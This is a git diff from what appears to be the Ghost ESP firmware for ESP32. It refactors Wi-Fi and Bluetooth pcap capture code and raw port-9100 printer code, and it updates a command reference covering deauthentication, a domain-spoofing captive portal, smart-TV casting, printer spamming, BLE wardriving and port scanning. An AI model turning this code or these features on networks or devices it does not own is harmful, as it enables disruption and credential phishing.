uint8_t*)packet; - // Verify HCI packet type (should be 0x04 for events) - if (hci_packet[0] != 0x04) { - ESP_LOGE(PCAP_TAG, "Invalid HCI packet type: 0x%02x", hci_packet[0]); - xSemaphoreGive(pcap_mutex); - return ESP_ERR_INVALID_ARG; + // Check for padding or end of tags + if (tag_num == 0 && tag_len == 0) { + break; } - actual_length = length; + } + length = pos; } - - if (actual_length == 0) { - xSemaphoreGive(pcap_mutex); - ESP_LOGE(PCAP_TAG, "Invalid frame length calculated"); - return ESP_ERR_INVALID_ARG; + break; + + case 0x1: // Control frames + switch (subtype) { + case 0xB: // RTS + length = 16; + break; + case 0xC: // CTS + case 0xD: // ACK + length = 10; + break; + default: + length = 16; // Default for other control frames } + break; - struct timeval tv; - gettimeofday(&tv, NULL); - pcap_packet_header_t packet_header = { - .ts_sec = tv.tv_sec, - .ts_usec = tv.tv_usec, - .incl_len = actual_length + header_length, - .orig_len = actual_length + header_length - }; - - size_t total_length = actual_length + header_length; - packet_header.ts_sec = tv.tv_sec; - packet_header.ts_usec = tv.tv_usec; - packet_header.incl_len = total_length; - packet_header.orig_len = total_length; - - size_t total_packet_size = sizeof(packet_header) + total_length; - - if (total_packet_size > BUFFER_SIZE) { - xSemaphoreGive(pcap_mutex); - ESP_LOGE(PCAP_TAG, "Packet too large for buffer: %zu", total_packet_size); - return ESP_ERR_NO_MEM; + case 0x2: // Data frames + if (to_ds && from_ds) { + if (max_len < 30) + return max_len; + length = 30; } - if (buffer_offset + total_packet_size > BUFFER_SIZE) { - esp_err_t ret = pcap_flush_buffer_to_file(); - if (ret != ESP_OK) { - xSemaphoreGive(pcap_mutex); - ESP_LOGE(PCAP_TAG, "Buffer flush failed"); - return ret; - } + if ((subtype & 0x8) != 0) { // QoS data + if (max_len < length + 2) + return length; + length += 2; } - // Write packet header - memcpy(pcap_buffer + buffer_offset, &packet_header, sizeof(packet_header)); - buffer_offset += sizeof(packet_header); - - if (capture_type == PCAP_CAPTURE_WIFI) { - // Write radiotap header for WiFi packets - uint8_t radiotap_header[RADIOTAP_HEADER_LEN] = { - 0x00, 0x00, // Version 0 - 0x08, 0x00, // Header length - 0x00, 0x00, 0x00, 0x00 // Present flags - }; - memcpy(pcap_buffer + buffer_offset, radiotap_header, RADIOTAP_HEADER_LEN); - buffer_offset += RADIOTAP_HEADER_LEN; + if (max_len > length) { + size_t data_len = max_len - length; + if (data_len >= 8) { // Minimum LLC/SNAP header + length = max_len; + } } + break; + } - // Write packet data - memcpy(pcap_buffer + buffer_offset, packet, actual_length); - buffer_offset += actual_length; + return (length <= max_len) ? length : max_len; +} - xSemaphoreGive(pcap_mutex); - return ESP_OK; +static bool is_valid_tag_length(uint8_t tag_num, uint8_t tag_len) { + switch (tag_num) { + case 9: // Hopping Pattern Table + return tag_len >= 4; + case 32: // Power Constraint + return tag_len == 1; + case 33: // Power Capability + return tag_len == 2; + case 35: // TPC Report + return tag_len == 2; + case 36: // Channels + return tag_len >= 3; + case 37: // Channel Switch Announcement + return tag_len == 3; + case 38: // Measurement Request + return tag_len >= 3; + case 39: // Measurement Report + return tag_len >= 3; + case 41: // IBSS DFS + return tag_len >= 7; + case 45: // HT Capabilities + return tag_len == 26; + case 47: // HT Operation + return tag_len >= 22; + case 48: // RSN + return tag_len >= 2; + case 51: // AP Channel Report + return tag_len >= 3; + case 61: // HT Operation + return tag_len >= 22; + case 74: // Overlapping BSS Scan Parameters + return tag_len == 14; + case 107: // Interworking + return tag_len >= 1; + case 127: // Extended Capabilities + return tag_len >= 1; + case 142: // Page Slice + return tag_len >= 3; + case 191: // VHT Capabilities + return tag_len == 12; + case 192: // VHT Operation + return tag_len >= 5; + case 195: // VHT Transmit Power Envelope + return tag_len >= 2; + case 216: // Target Wake Time + return tag_len >= 4; + case 221: // Vendor Specific + return tag_len >= 3; + case 232: // DMG Operation + return tag_len >= 5; + case 235: // S1G Beacon Compatibility + return tag_len >= 7; + case 255: // Extended tag + return tag_len >= 1; + case 42: // ERP Information + return tag_len == 1; + case 50: // Extended Supported Rates + return tag_len > 0; + case 93: // WNM-Sleep Mode + return tag_len >= 4; + case 62: // Secondary Channel Offset + return tag_len == 1; + default: + return true; // All other tags can have any length + } } +static bool is_valid_beacon_fixed_params(const uint8_t *frame, size_t offset, + size_t max_len) { + if (offset + 12 > max_len) + return false; -esp_err_t pcap_flush_buffer_to_file() { - if (buffer_offset == 0) { - return ESP_OK; // Nothing to flush - } + // Skip timestamp (8 bytes) as it can be any value - bool needs_mutex = (xTaskGetCurrentTaskHandle() != xSemaphoreGetMutexHolder(pcap_mutex)); - - if (needs_mutex) { - if (xSemaphoreTake(pcap_mutex, portMAX_DELAY) != pdTRUE) { - ESP_LOGE(PCAP_TAG, "Failed to take mutex"); - return ESP_ERR_TIMEOUT; - } - } + // Check beacon interval (2 bytes) - typically between 1-65535 + uint16_t beacon_interval = frame[offset + 8] | (frame[offset + 9] << 8); + if (beacon_interval == 0) + return false; + + // Check capability info (2 bytes) - must have some bits set + uint16_t capability = frame[offset + 10] | (frame[offset + 11] << 8); + if ((capability & 0x0001) == 0 && (capability & 0x0002) == 0) { + // At least one of ESS or IBSS must be set + return false; + } + + return true; +} + +esp_err_t pcap_write_packet_to_buffer(const void *packet, size_t length, + pcap_capture_type_t capture_type) { + if (packet == NULL || length < 2) { + ESP_LOGE(PCAP_TAG, "Invalid packet data"); + return ESP_ERR_INVALID_ARG; + } + + if (xSemaphoreTake(pcap_mutex, pdMS_TO_TICKS(1000)) != pdTRUE) { + ESP_LOGE(PCAP_TAG, "Failed to take mutex"); + return ESP_ERR_TIMEOUT; + } + + size_t actual_length; + size_t header_length = 0; + + if (capture_type == PCAP_CAPTURE_WIFI) { + const uint8_t *frame = (const uint8_t *)packet; + actual_length = calculate_wifi_frame_length(frame, length); + header_length = RADIOTAP_HEADER_LEN; + } else if (capture_type == PCAP_CAPTURE_BLUETOOTH) { + const uint8_t *raw_packet = (const uint8_t *)packet; + + // Add Bluetooth H4 header (4 bytes) + uint8_t h4_header[4] = { + 0x00, // Direction: Host to Controller + raw_packet[0], // HCI packet type + 0x00, 0x00 // Reserved + }; - esp_err_t ret = ESP_OK; - - if (pcap_file == NULL) { - printf("PCAP file is not open. Flushing to Serial...\n"); - const char* mark_begin = "[BUF/BEGIN]"; - const size_t mark_begin_len = strlen(mark_begin); - const char* mark_close = "[BUF/CLOSE]"; - const size_t mark_close_len = strlen(mark_close); - - uart_write_bytes(UART_NUM_0, mark_begin, mark_begin_len); - uart_write_bytes(UART_NUM_0, (const char*)pcap_buffer, buffer_offset); - uart_write_bytes(UART_NUM_0, mark_close, mark_close_len); - uart_write_bytes(UART_NUM_0, "\n", 1); - - buffer_offset = 0; - goto exit; + // Calculate total length including H4 header + actual_length = length + sizeof(h4_header); + header_length = 0; + + // Copy H4 header and packet data to a temporary buffer + uint8_t *temp_buffer = malloc(actual_length); + if (!temp_buffer) { + xSemaphoreGive(pcap_mutex); + return ESP_ERR_NO_MEM; } - // Validate buffer contains at least one complete packet - if (buffer_offset < sizeof(pcap_packet_header_t)) { - ESP_LOGE(PCAP_TAG, "Buffer contains incomplete packet header"); - ret = ESP_FAIL; - goto exit; + memcpy(temp_buffer, h4_header, sizeof(h4_header)); + memcpy(temp_buffer + sizeof(h4_header), packet, length); + + // Update packet pointer and length + packet = temp_buffer; + ESP_LOGI(PCAP_TAG, "Writing BT packet with H4 header, total len=%d", + actual_length); + } else { + const uint8_t *hci_packet = (const uint8_t *)packet; + // Verify HCI packet type (should be 0x04 for events) + if (hci_packet[0] != 0x04) { + ESP_LOGE(PCAP_TAG, "Invalid HCI packet type: 0x%02x", hci_packet[0]); + xSemaphoreGive(pcap_mutex); + return ESP_ERR_INVALID_ARG; } + actual_length = length; + } - // Write entire buffer - size_t written = fwrite(pcap_buffer, 1, buffer_offset, pcap_file); - if (written != buffer_offset) { - ESP_LOGE(PCAP_TAG, "Failed to write buffer: %zu of %zu written", written, buffer_offset); - ret = ESP_FAIL; - goto exit; + if (actual_length == 0) { + xSemaphoreGive(pcap_mutex); + ESP_LOGE(PCAP_TAG, "Invalid frame length calculated"); + return ESP_ERR_INVALID_ARG; + } + + struct timeval tv; + gettimeofday(&tv, NULL); + pcap_packet_header_t packet_header = { + .ts_sec = tv.tv_sec, + .ts_usec = tv.tv_usec, + .incl_len = actual_length + header_length, + .orig_len = actual_length + header_length}; + + size_t total_length = actual_length + header_length; + packet_header.ts_sec = tv.tv_sec; + packet_header.ts_usec = tv.tv_usec; + packet_header.incl_len = total_length; + packet_header.orig_len = total_length; + + size_t total_packet_size = sizeof(packet_header) + total_length; + + if (total_packet_size > BUFFER_SIZE) { + xSemaphoreGive(pcap_mutex); + ESP_LOGE(PCAP_TAG, "Packet too large for buffer: %zu", total_packet_size); + return ESP_ERR_NO_MEM; + } + + if (buffer_offset + total_packet_size > BUFFER_SIZE) { + esp_err_t ret = pcap_flush_buffer_to_file(); + if (ret != ESP_OK) { + xSemaphoreGive(pcap_mutex); + ESP_LOGE(PCAP_TAG, "Buffer flush failed"); + return ret; } + } + + // Write packet header + memcpy(pcap_buffer + buffer_offset, &packet_header, sizeof(packet_header)); + buffer_offset += sizeof(packet_header); + + if (capture_type == PCAP_CAPTURE_WIFI) { + // Write radiotap header for WiFi packets + uint8_t radiotap_header[RADIOTAP_HEADER_LEN] = { + 0x00, 0x00, // Version 0 + 0x08, 0x00, // Header length + 0x00, 0x00, 0x00, 0x00 // Present flags + }; + memcpy(pcap_buffer + buffer_offset, radiotap_header, RADIOTAP_HEADER_LEN); + buffer_offset += RADIOTAP_HEADER_LEN; + } + + // Write packet data + memcpy(pcap_buffer + buffer_offset, packet, actual_length); + buffer_offset += actual_length; + + xSemaphoreGive(pcap_mutex); + return ESP_OK; +} - // Force flush to disk - if (fflush(pcap_file) != 0) { - ESP_LOGE(PCAP_TAG, "Failed to flush file buffer"); - ret = ESP_FAIL; - goto exit; +esp_err_t pcap_flush_buffer_to_file() { + if (buffer_offset == 0) { + return ESP_OK; // Nothing to flush + } + + bool needs_mutex = + (xTaskGetCurrentTaskHandle() != xSemaphoreGetMutexHolder(pcap_mutex)); + + if (needs_mutex) { + if (xSemaphoreTake(pcap_mutex, portMAX_DELAY) != pdTRUE) { + ESP_LOGE(PCAP_TAG, "Failed to take mutex"); + return ESP_ERR_TIMEOUT; } + } + + esp_err_t ret = ESP_OK; + + if (pcap_file == NULL) { + const char *mark_begin = "[BUF/BEGIN]"; + const size_t mark_begin_len = strlen(mark_begin); + const char *mark_close = "[BUF/CLOSE]"; + const size_t mark_close_len = strlen(mark_close); - ESP_LOGI(PCAP_TAG, "Flushed %zu bytes to file", written); + uart_write_bytes(UART_NUM_0, mark_begin, mark_begin_len); + uart_write_bytes(UART_NUM_0, (const char *)pcap_buffer, buffer_offset); + uart_write_bytes(UART_NUM_0, mark_close, mark_close_len); - memset(pcap_buffer, 0, BUFFER_SIZE); buffer_offset = 0; + goto exit; + } + + // Validate buffer contains at least one complete packet + if (buffer_offset < sizeof(pcap_packet_header_t)) { + ESP_LOGE(PCAP_TAG, "Buffer contains incomplete packet header"); + ret = ESP_FAIL; + goto exit; + } + + // Write entire buffer + size_t written = fwrite(pcap_buffer, 1, buffer_offset, pcap_file); + if (written != buffer_offset) { + ESP_LOGE(PCAP_TAG, "Failed to write buffer: %zu of %zu written", written, + buffer_offset); + ret = ESP_FAIL; + goto exit; + } + + // Force flush to disk + if (fflush(pcap_file) != 0) { + ESP_LOGE(PCAP_TAG, "Failed to flush file buffer"); + ret = ESP_FAIL; + goto exit; + } + + ESP_LOGI(PCAP_TAG, "Flushed %zu bytes to file", written); + + memset(pcap_buffer, 0, BUFFER_SIZE); + buffer_offset = 0; exit: - xSemaphoreGive(pcap_mutex); - return ret; + xSemaphoreGive(pcap_mutex); + return ret; } - void pcap_file_close() { - if (pcap_file != NULL) { - if (xSemaphoreTake(pcap_mutex, portMAX_DELAY) == pdTRUE) { - if (buffer_offset > 0) { - ESP_LOGI(PCAP_TAG, "Flushing remaining buffer before closing file."); - pcap_flush_buffer_to_file(); - } - - fclose(pcap_file); - pcap_file = NULL; - ESP_LOGI(PCAP_TAG, "PCAP file closed."); - xSemaphoreGive(pcap_mutex); - } + if (pcap_file != NULL) { + if (xSemaphoreTake(pcap_mutex, portMAX_DELAY) == pdTRUE) { + if (buffer_offset > 0) { + ESP_LOGI(PCAP_TAG, "Flushing remaining buffer before closing file."); + pcap_flush_buffer_to_file(); + } + + fclose(pcap_file); + pcap_file = NULL; + ESP_LOGI(PCAP_TAG, "PCAP file closed."); + xSemaphoreGive(pcap_mutex); } + } } diff --git a/main/vendor/printer.c b/main/vendor/printer.c index 387c390d..eccdcad9 100644 --- a/main/vendor/printer.c +++ b/main/vendor/printer.c @@ -1,248 +1,238 @@ #include "vendor/printer.h" -#include "lwip/inet.h" -#include "lwip/sockets.h" #include "esp_event.h" -#include "mdns.h" #include "esp_log.h" -#include +#include "lwip/inet.h" +#include "lwip/sockets.h" #include "managers/views/terminal_screen.h" +#include "mdns.h" #include #include +#include #define PRINTER_PORT 9100 static const char *TAG = "PRINTER_HANDLER"; #define MAX_TEXT_LENGTH 1024 - #define LETTER_WIDTH 6120 #define LETTER_HEIGHT 7920 const char *PCL_INIT = "\x1B%-12345X@PJL\n"; const char *BOLD_ON = "\x1B(s3B"; const char *BOLD_OFF = "\x1B(s0B"; -const char *PCL_RESET = "\x1B%-12345X"; - - -int pixels_to_points(int px) { - return (int)(px / 0.75); -} +const char *PCL_RESET = "\x1B%-12345X"; +int pixels_to_points(int px) { return (int)(px / 0.75); } int calculate_text_width(int font_points, int text_length) { - return font_points * text_length * 0.5; -} -int calculate_text_height(int font_points) { - return font_points; + return font_points * text_length * 0.5; } - - -void calculate_position(const char *alignment, int font_points, const char *text, int *col, int *row) { - int text_width = calculate_text_width(font_points, strlen(text)) * 10; - int text_height = calculate_text_height(font_points) * 10; - - if (strcmp(alignment, "Center Middle") == 0) { - *col = (LETTER_WIDTH / 2) - (text_width / 2); - *row = (LETTER_HEIGHT / 2) - (text_height / 2); - } else if (strcmp(alignment, "Top Left") == 0) { - *col = 0; - *row = 0; - } else if (strcmp(alignment, "Top Right") == 0) { - *col = LETTER_WIDTH - text_width; - *row = 0; - } else if (strcmp(alignment, "Bottom Left") == 0) { - *col = 0; - *row = LETTER_HEIGHT - text_height; - } else if (strcmp(alignment, "Bottom Right") == 0) { - *col = LETTER_WIDTH - text_width; - *row = LETTER_HEIGHT - text_height; - } else { - *col = 0; - *row = 0; - } +int calculate_text_height(int font_points) { return font_points; } + +void calculate_position(const char *alignment, int font_points, + const char *text, int *col, int *row) { + int text_width = calculate_text_width(font_points, strlen(text)) * 10; + int text_height = calculate_text_height(font_points) * 10; + + if (strcmp(alignment, "Center Middle") == 0) { + *col = (LETTER_WIDTH / 2) - (text_width / 2); + *row = (LETTER_HEIGHT / 2) - (text_height / 2); + } else if (strcmp(alignment, "Top Left") == 0) { + *col = 0; + *row = 0; + } else if (strcmp(alignment, "Top Right") == 0) { + *col = LETTER_WIDTH - text_width; + *row = 0; + } else if (strcmp(alignment, "Bottom Left") == 0) { + *col = 0; + *row = LETTER_HEIGHT - text_height; + } else if (strcmp(alignment, "Bottom Right") == 0) { + *col = LETTER_WIDTH - text_width; + *row = LETTER_HEIGHT - text_height; + } else { + *col = 0; + *row = 0; + } } - -void print_text_to_printer(const char *printer_ip, const char *text, int font_px, const char *alignment) { - struct sockaddr_in printer_addr; - int sock = socket(AF_INET, SOCK_STREAM, 0); - if (sock < 0) { - ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to create printer socket\n"); - return; - } - - printer_addr.sin_addr.s_addr = inet_addr(printer_ip); - printer_addr.sin_family = AF_INET; - printer_addr.sin_port = htons(PRINTER_PORT); - - int err = connect(sock, (struct sockaddr *)&printer_addr, sizeof(printer_addr)); - if (err != 0) { - ESP_LOGE(TAG, "Socket unable to connect: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to connect to printer at %s\n", printer_ip); - close(sock); - return; - } - - ESP_LOGI(TAG, "Connected to printer at %s:%d", printer_ip, PRINTER_PORT); - TERMINAL_VIEW_ADD_TEXT("Connected to printer at %s\n", printer_ip); - - - int font_points = pixels_to_points(font_px); - - - int col, row; - calculate_position(alignment, font_points, text, &col, &row); - - - char set_font_command[64]; - snprintf(set_font_command, sizeof(set_font_command), "\x1B(s1p%dv0s0b4099T", font_points); - - char set_position_command[64]; - snprintf(set_position_command, sizeof(set_position_command), "\x1B&a%dC\x1B&a%dR", col, row); - - - char formatted_text[MAX_TEXT_LENGTH]; - snprintf(formatted_text, sizeof(formatted_text), - "%s%s%s%s%s%s\n\f", // Init, Position, Font, Bold, Text, Reset - PCL_INIT, // Initialize PCL mode - set_position_command, // Move cursor to position - set_font_command, // Set font size - BOLD_ON, // Enable bold - text, // User-provided text - BOLD_OFF // Disable bold - ); - - - size_t len = strlen(formatted_text); - err = send(sock, formatted_text, len, 0); - if (err < 0) { - ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to send data to printer\n"); - } else { - ESP_LOGI(TAG, "Sent %d bytes to the printer", err); - TERMINAL_VIEW_ADD_TEXT("Successfully sent print job to printer\n"); - } - +void print_text_to_printer(const char *printer_ip, const char *text, + int font_px, const char *alignment) { + struct sockaddr_in printer_addr; + int sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to create printer socket\n"); + return; + } + + printer_addr.sin_addr.s_addr = inet_addr(printer_ip); + printer_addr.sin_family = AF_INET; + printer_addr.sin_port = htons(PRINTER_PORT); + + int err = + connect(sock, (struct sockaddr *)&printer_addr, sizeof(printer_addr)); + if (err != 0) { + ESP_LOGE(TAG, "Socket unable to connect: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to connect to printer at %s\n", printer_ip); close(sock); - ESP_LOGI(TAG, "Connection closed"); - TERMINAL_VIEW_ADD_TEXT("Printer connection closed\n"); + return; + } + + ESP_LOGI(TAG, "Connected to printer at %s:%d", printer_ip, PRINTER_PORT); + TERMINAL_VIEW_ADD_TEXT("Connected to printer at %s\n", printer_ip); + + int font_points = pixels_to_points(font_px); + + int col, row; + calculate_position(alignment, font_points, text, &col, &row); + + char set_font_command[64]; + snprintf(set_font_command, sizeof(set_font_command), "\x1B(s1p%dv0s0b4099T", + font_points); + + char set_position_command[64]; + snprintf(set_position_command, sizeof(set_position_command), + "\x1B&a%dC\x1B&a%dR", col, row); + + char formatted_text[MAX_TEXT_LENGTH]; + snprintf(formatted_text, sizeof(formatted_text), + "%s%s%s%s%s%s\n\f", // Init, Position, Font, Bold, Text, Reset + PCL_INIT, // Initialize PCL mode + set_position_command, // Move cursor to position + set_font_command, // Set font size + BOLD_ON, // Enable bold + text, // User-provided text + BOLD_OFF // Disable bold + ); + + size_t len = strlen(formatted_text); + err = send(sock, formatted_text, len, 0); + if (err < 0) { + ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to send data to printer\n"); + } else { + ESP_LOGI(TAG, "Sent %d bytes to the printer", err); + TERMINAL_VIEW_ADD_TEXT("Successfully sent print job to printer\n"); + } + + close(sock); + ESP_LOGI(TAG, "Connection closed"); + TERMINAL_VIEW_ADD_TEXT("Printer connection closed\n"); } - - void eject_blank_pages(const char *printer_ip, int num_pages) { - struct sockaddr_in printer_addr; - int sock = socket(AF_INET, SOCK_STREAM, 0); - if (sock < 0) { - ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to create printer socket\n"); - return; - } - - printer_addr.sin_addr.s_addr = inet_addr(printer_ip); - printer_addr.sin_family = AF_INET; - printer_addr.sin_port = htons(PRINTER_PORT); - - int err = connect(sock, (struct sockaddr *)&printer_addr, sizeof(printer_addr)); - if (err != 0) { - ESP_LOGE(TAG, "Socket unable to connect: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to connect to printer at %s\n", printer_ip); - close(sock); - return; - } - - ESP_LOGI(TAG, "Connected to printer at %s:%d", printer_ip, PRINTER_PORT); - TERMINAL_VIEW_ADD_TEXT("Connected to printer at %s\n", printer_ip); + struct sockaddr_in printer_addr; + int sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + ESP_LOGE(TAG, "Unable to create socket: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to create printer socket\n"); + return; + } + + printer_addr.sin_addr.s_addr = inet_addr(printer_ip); + printer_addr.sin_family = AF_INET; + printer_addr.sin_port = htons(PRINTER_PORT); + + int err = + connect(sock, (struct sockaddr *)&printer_addr, sizeof(printer_addr)); + if (err != 0) { + ESP_LOGE(TAG, "Socket unable to connect: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to connect to printer at %s\n", printer_ip); + close(sock); + return; + } + ESP_LOGI(TAG, "Connected to printer at %s:%d", printer_ip, PRINTER_PORT); + TERMINAL_VIEW_ADD_TEXT("Connected to printer at %s\n", printer_ip); - for (int i = 0; i < num_pages; i++) { - const char *form_feed = "\f"; - err = send(sock, form_feed, strlen(form_feed), 0); - if (err < 0) { - ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); - TERMINAL_VIEW_ADD_TEXT("Failed to eject page %d\n", i + 1); - break; - } - ESP_LOGI(TAG, "Ejected page %d", i + 1); - TERMINAL_VIEW_ADD_TEXT("Ejected page %d\n", i + 1); + for (int i = 0; i < num_pages; i++) { + const char *form_feed = "\f"; + err = send(sock, form_feed, strlen(form_feed), 0); + if (err < 0) { + ESP_LOGE(TAG, "Error occurred during sending: errno %d", errno); + TERMINAL_VIEW_ADD_TEXT("Failed to eject page %d\n", i + 1); + break; } + ESP_LOGI(TAG, "Ejected page %d", i + 1); + TERMINAL_VIEW_ADD_TEXT("Ejected page %d\n", i + 1); + } - close(sock); - ESP_LOGI(TAG, "Connection closed"); - TERMINAL_VIEW_ADD_TEXT("Printer connection closed\n"); + close(sock); + ESP_LOGI(TAG, "Connection closed"); + TERMINAL_VIEW_ADD_TEXT("Printer connection closed\n"); } - void handle_printer_command(int argc, char **argv) { - - const char *stored_printer_ip = settings_get_printer_ip(&G_Settings); - const char *stored_text = settings_get_printer_text(&G_Settings); - int stored_font_size = settings_get_printer_font_size(&G_Settings); - PrinterAlignment stored_alignment = settings_get_printer_alignment(&G_Settings); - - - const char *printer_ip = stored_printer_ip; - const char *text = stored_text; - int font_px = stored_font_size; - const char *alignment_str = NULL; - - - if (argc >= 2) { - printer_ip = (argv[1] && argv[1][0] != '\0') ? argv[1] : stored_printer_ip; - } - if (argc >= 3) { - text = (argv[2] && argv[2][0] != '\0') ? argv[2] : stored_text; - } - if (argc >= 4) { - font_px = (argv[3] && argv[3][0] != '\0') ? atoi(argv[3]) : stored_font_size; - } - if (argc >= 5) { - alignment_str = (argv[4] && argv[4][0] != '\0') ? argv[4] : NULL; - } - - - if (printer_ip == NULL || printer_ip[0] == '\0') { - ESP_LOGE(TAG, "Error: Printer IP cannot be empty."); - TERMINAL_VIEW_ADD_TEXT("Error: Printer IP cannot be empty\n"); - return; - } - if (text == NULL || text[0] == '\0') { - ESP_LOGE(TAG, "Error: Text to print cannot be empty."); - TERMINAL_VIEW_ADD_TEXT("Error: Text to print cannot be empty\n"); - return; - } - if (font_px <= 0) { - ESP_LOGE(TAG, "Error: Font size must be a positive integer."); - TERMINAL_VIEW_ADD_TEXT("Error: Invalid font size, using default (50)\n"); - font_px = 50; - } - - if (alignment_str == NULL) { - switch (stored_alignment) { - case ALIGNMENT_CM: - alignment_str = "CM"; - break; - case ALIGNMENT_TL: - alignment_str = "TL"; - break; - case ALIGNMENT_TR: - alignment_str = "TR"; - break; - case ALIGNMENT_BR: - alignment_str = "BR"; - break; - case ALIGNMENT_BL: - alignment_str = "BL"; - break; - default: - alignment_str = "CM"; - break; - } + const char *stored_printer_ip = settings_get_printer_ip(&G_Settings); + const char *stored_text = settings_get_printer_text(&G_Settings); + int stored_font_size = settings_get_printer_font_size(&G_Settings); + PrinterAlignment stored_alignment = + settings_get_printer_alignment(&G_Settings); + + const char *printer_ip = stored_printer_ip; + const char *text = stored_text; + int font_px = stored_font_size; + const char *alignment_str = NULL; + + if (argc >= 2) { + printer_ip = (argv[1] && argv[1][0] != '\0') ? argv[1] : stored_printer_ip; + } + if (argc >= 3) { + text = (argv[2] && argv[2][0] != '\0') ? argv[2] : stored_text; + } + if (argc >= 4) { + font_px = + (argv[3] && argv[3][0] != '\0') ? atoi(argv[3]) : stored_font_size; + } + if (argc >= 5) { + alignment_str = (argv[4] && argv[4][0] != '\0') ? argv[4] : NULL; + } + + if (printer_ip == NULL || printer_ip[0] == '\0') { + ESP_LOGE(TAG, "Error: Printer IP cannot be empty."); + TERMINAL_VIEW_ADD_TEXT("Error: Printer IP cannot be empty\n"); + return; + } + if (text == NULL || text[0] == '\0') { + ESP_LOGE(TAG, "Error: Text to print cannot be empty."); + TERMINAL_VIEW_ADD_TEXT("Error: Text to print cannot be empty\n"); + return; + } + if (font_px <= 0) { + ESP_LOGE(TAG, "Error: Font size must be a positive integer."); + TERMINAL_VIEW_ADD_TEXT("Error: Invalid font size, using default (50)\n"); + font_px = 50; + } + + if (alignment_str == NULL) { + switch (stored_alignment) { + case ALIGNMENT_CM: + alignment_str = "CM"; + break; + case ALIGNMENT_TL: + alignment_str = "TL"; + break; + case ALIGNMENT_TR: + alignment_str = "TR"; + break; + case ALIGNMENT_BR: + alignment_str = "BR"; + break; + case ALIGNMENT_BL: + alignment_str = "BL"; + break; + default: + alignment_str = "CM"; + break; } + } - ESP_LOGI(TAG, "Printing to printer at IP: %s with text: %s, font size: %d, alignment: %s", printer_ip, text, font_px, alignment_str); - TERMINAL_VIEW_ADD_TEXT("Printing: \"%s\" (size: %d, alignment: %s)\n", text, font_px, alignment_str); + ESP_LOGI(TAG, + "Printing to printer at IP: %s with text: %s, font size: %d, " + "alignment: %s", + printer_ip, text, font_px, alignment_str); + TERMINAL_VIEW_ADD_TEXT("Printing: \"%s\" (size: %d, alignment: %s)\n", text, + font_px, alignment_str); - print_text_to_printer(printer_ip, text, font_px, alignment_str); + print_text_to_printer(printer_ip, text, font_px, alignment_str); } \ No newline at end of file diff --git a/scripts/site/ghost_site.html b/scripts/site/ghost_site.html index 23d00862..e79312e0 100644 --- a/scripts/site/ghost_site.html +++ b/scripts/site/ghost_site.html @@ -815,7 +815,7 @@
-

Ghost ESP vA1.4.5

+

Ghost ESP vA1.4.6

@@ -1134,20 +1134,20 @@

ESP32 Commands

Usage: stopdeauth
  • - select: Select an access point by index from the scan results.
    + select: Select an access point by index from scan results.
    Usage: select -a <number>
    Arguments:
    -a: AP selection index (must be a valid number)
  • - startportal: Start a portal with specified SSID and password.
    + startportal: Start a portal with specified parameters.
    Usage: startportal <URL> <SSID> <Password> <AP_ssid> <Domain>
    Arguments:
    <URL>: URL for the portal
    <SSID>: Wi-Fi SSID for the portal
    <Password>: Wi-Fi password for the portal
    <AP_ssid>: SSID for the access point
    - <Domain>: Custom domain to spoof in the address bar
    + <Domain>: Custom domain to spoof in address bar
    OR
    Offline Usage: startportal <FilePath> <AP_ssid> <Domain>
  • @@ -1166,7 +1166,7 @@

    ESP32 Commands

    -s: Stop BLE scanning
  • - capture: Start a Wi-Fi capture (requires SD card or Flipper device).
    + capture: Start a Wi-Fi capture (requires SD card or Flipper).
    Usage: capture [OPTION]
    Arguments:
    -probe: Start capturing probe packets
    @@ -1182,14 +1182,29 @@

    ESP32 Commands

    Usage: connect <SSID> <Password>
  • - dialconnect: Cast a random YouTube video on all smart TVs on your LAN (requires you to run connect first).
    + dialconnect: Cast a random YouTube video on all smart TVs on LAN.
    Usage: dialconnect
  • - powerprinter: Print custom text to a printer on your LAN (requires you to run connect first).
    + powerprinter: Print custom text to a printer on LAN.
    Usage: powerprinter <Printer IP> <Text> <FontSize> <Alignment>
    Alignment options: CM = Center Middle, TL = Top Left, TR = Top Right, BR = Bottom Right, BL = Bottom Left
  • +
  • + blewardriving: Start/Stop BLE wardriving with GPS logging.
    + Usage: blewardriving [-s]
    + Arguments:
    + -s: Stop BLE wardriving +
  • +
  • + scanports: Scan ports on local subnet or specific IP.
    + Usage: scanports local [-C/-A/start_port-end_port]
    + scanports [IP] [-C/-A/start_port-end_port]
    + Arguments:
    + -C: Scan common ports only
    + -A: Scan all ports (1-65535)
    + start_port-end_port: Custom port range (e.g. 80-443) +
  • @@ -1557,7 +1572,7 @@

    Upload File

    timezone_str: document.getElementById('timezone_select').value, gps_rx_pin: parseInt(document.getElementById('gps_rx_pin').value), display_timeout: parseInt(document.getElementById('display_timeout').value), - }; + }; const validationErrors = validateSettings(settings); if (validationErrors.length > 0) {